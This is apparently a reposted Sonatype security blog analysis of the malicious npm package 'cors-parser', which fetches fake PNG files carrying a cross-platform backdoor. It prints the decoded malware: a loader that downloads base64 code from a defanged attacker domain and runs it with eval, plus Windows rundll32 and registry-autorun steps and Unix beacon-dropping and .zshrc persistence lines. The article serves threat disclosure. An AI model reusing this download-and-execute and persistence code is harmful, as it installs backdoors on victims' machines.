‘cors-parser’ npm package hides cross-platform backdoor in PNG files

Summary: The content discusses the ‘cors-parser’ npm package, which is used to download what appears to be PNG images but actually contains encoded instructions to drop malware on target systems.

Threat Actor: Unknown | Unknown
Victim: Users who install the ‘cors-parser’ npm package | Users who install the ‘cors-parser’ npm package

Key Point :

  • The ‘cors-parser’ npm package contains encoded instructions to drop malware on target systems disguised as PNG images.
  • The package’s developer(s) did not obfuscate or obscure the initial scripts used in the attack, making it easier to identify.

‘cors-parser’ is neither a cure for Cross-Origin Resource Sharing (CORS) vulnerabilities nor a “parser” for interpreting same-origin policies of a website. Instead, the npm package employs a form of steganography to download what may appear to be PNG images at first. These “images,” however, contain encoded instructions to drop malware — a backdoor on target systems.

‘cors-parser’ — simple yet dangerous

The ‘cors-parser’ npm package with its several versions (1.0.0 to 3.0.1) is interesting given its simplistic approach to downloading the second stage payload.

Tracked as sonatype-2024-1970, each version of the package contains just an ‘index.js’ file (in addition to the manifest, ‘package.json’ of course). Its developer(s) wasted no time with over-obfuscating or obscuring the initial scripts used to pull the attack.

The ‘index.js’ file contains a minified, one-liner (showed below with word wrap enabled in text editor) with a sole purpose of downloading, what appears to be a simple PNG (image) from an external server:

My colleague and security researcher Carlos Fernandez who dug deeper into the package decoded this ‘index.js’ file and the result was simple enough.

Note: URLs defanged in code snippets for safety.

const t = "base64",
    c = "utf8",
    ht = require("https"),
    cors = () => {
        const request = ht["get"]("hxxps://api.jz-aws[.]info/initial.png"), (function(response) {
            let data = "";
            response.on(data), (r => {
                data += r
            })), response.on(data, (() => {
                let plain = Buffer.from(data, t).toString();
                eval(plain)
            }))
        }))
    };
module.exports = cors;

The code downloads an “initial.png” file from an external server.

Except, this “initial.png” isn’t an image but contains a large base64-encoded string — just more NodeJS instructions that download stage 2 payload from “api.jz-aws[.]info.”

Drops cross-platform backdoor malware

Depending on whether you are running Windows or Unix, the script downloads additional “PNG” files that are, in reality, distinct platform-based binaries and executables (DLLs, EXEs, Mach-O or ELF files).

A decoded snippet from “initial.png” is shown below:

For Windows systems, the code downloads and loads “load.png” and “wait.png” which are in fact DLLs.

...
const baseurl = 'hxxps://api.jz-aws[.]info';

// windows
const loaderurl = `${baseurl}/load.png`;
const dllpath = 'C:/ProgramData/thumbs.db'
const method = 'work'
const param = 'aHR0cHM6Ly9hcGkuanotYXdzLmluZm8vd2FpdC5wbmc=' // hxxps://api.jz-aws[.]info/wait.png
const regval = `rundll32 ${dllpath},${method}`
const regpath = 'HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun'
const regkey = 'FontCache'
...
            var env = process.env;
            env.param = param;
            var dllproc = spawn('rundll32', [dllpath, method], {env: env, detached: true, stdio: 'ignore'})
            dllproc.unref();

            // register autorun
            var regproc = spawn('reg', ['add', regpath, '/v', regkey, '/t', 'REG_SZ', '/d', regval, '/f'])
            var setxproc = spawn('setx', ['param', param]);

       ...

For Unix systems, depending on whether you are running an AMD64 or ARM64 architecture, the code drops “manner.png” or “middle.png.” 


// unix
const beacon_amd64 = `${baseurl}/manner.png`;
const beacon_arm64 = `${baseurl}/middle.png`;
const beacon_path = '/var/tmp/logd';
...
        response.on('end', () => {

            let plain = Buffer.from(data, 'base64');

            fs.writeFileSync(beacon_path, plain, err => {
            })
            
            fs.chmodSync(beacon_path, 0o777);

            var beacon_proc = spawn(beacon_path, [], {detached: true});
            beacon_proc.unref();


        });
        
        // register autorun
        var rcpath = path.join(os.homedir(), '.zshrc');
        fs.appendFileSync(rcpath, 'nnohup /var/tmp/logd &');
        

    });
}

...

Similar instructions exist for other operating system architectures with unique binaries (e.g. “list.png“) being downloaded under the guise of PNGs.

In each case, we observed that the downloaded binaries were added as a “cronjob” or scheduled task to the operating system, making these launch every time the system boots or at specific events.

Multiple antivirus and malware sandbox engines have identified the binaries targeting Unix systems as “Silver,” a backdoor and trojan malware, although we did not find concrete links to Silver Sparrow (macOS) malware.

Primitive steganography

The practice of concealing digital information within another message or format with the intention of deceiving users and avoiding detection is referred to as steganography something we have seen threat actors leverage before in attacks. The threat actor’s act of changing file extensions to “.png” (when these are really text files containing code) is a rather primitive attempt at fooling humans and very basic network security tools.

‘cors-parser’ scored a total of 385 downloads. At the time of writing, the npm package has been taken down and the domain *.jz-aws.info responds with an HTTP 403 / Forbidden error code.

The package gives us a peek into threat actors’ psyche and their constantly evolving ways that often include reviving and recycling old tactics, such as steganography, that would allow them to bypass traditional software development environments and Security Information and Event Management systems (SIEMs).

While ‘cors-parser’ may have been published with a simplistic but potent first-stage payload that focused on implanting harmful cross-platform backdoor via “PNGs,” more complex versions of such attacks are likely to employ a higher level of obscurity and go undetected from the very initial stage.

Users of Sonatype Repository Firewall are protected from counterfeit components like these, which would be blocked from entering their builds given our automated malware detection systems analyze over five dozen anomalous signals associated with newly published packages that go beyond relying on just code. If you’re not already protected with Sonatype, get in touch so we can show you Repository Firewall in action.

Source: https://www.sonatype.com/blog/cors-parser-npm-package-hides-cross-platform-backdoor-in-png-files


“An interesting youtube video that may be related to the article above”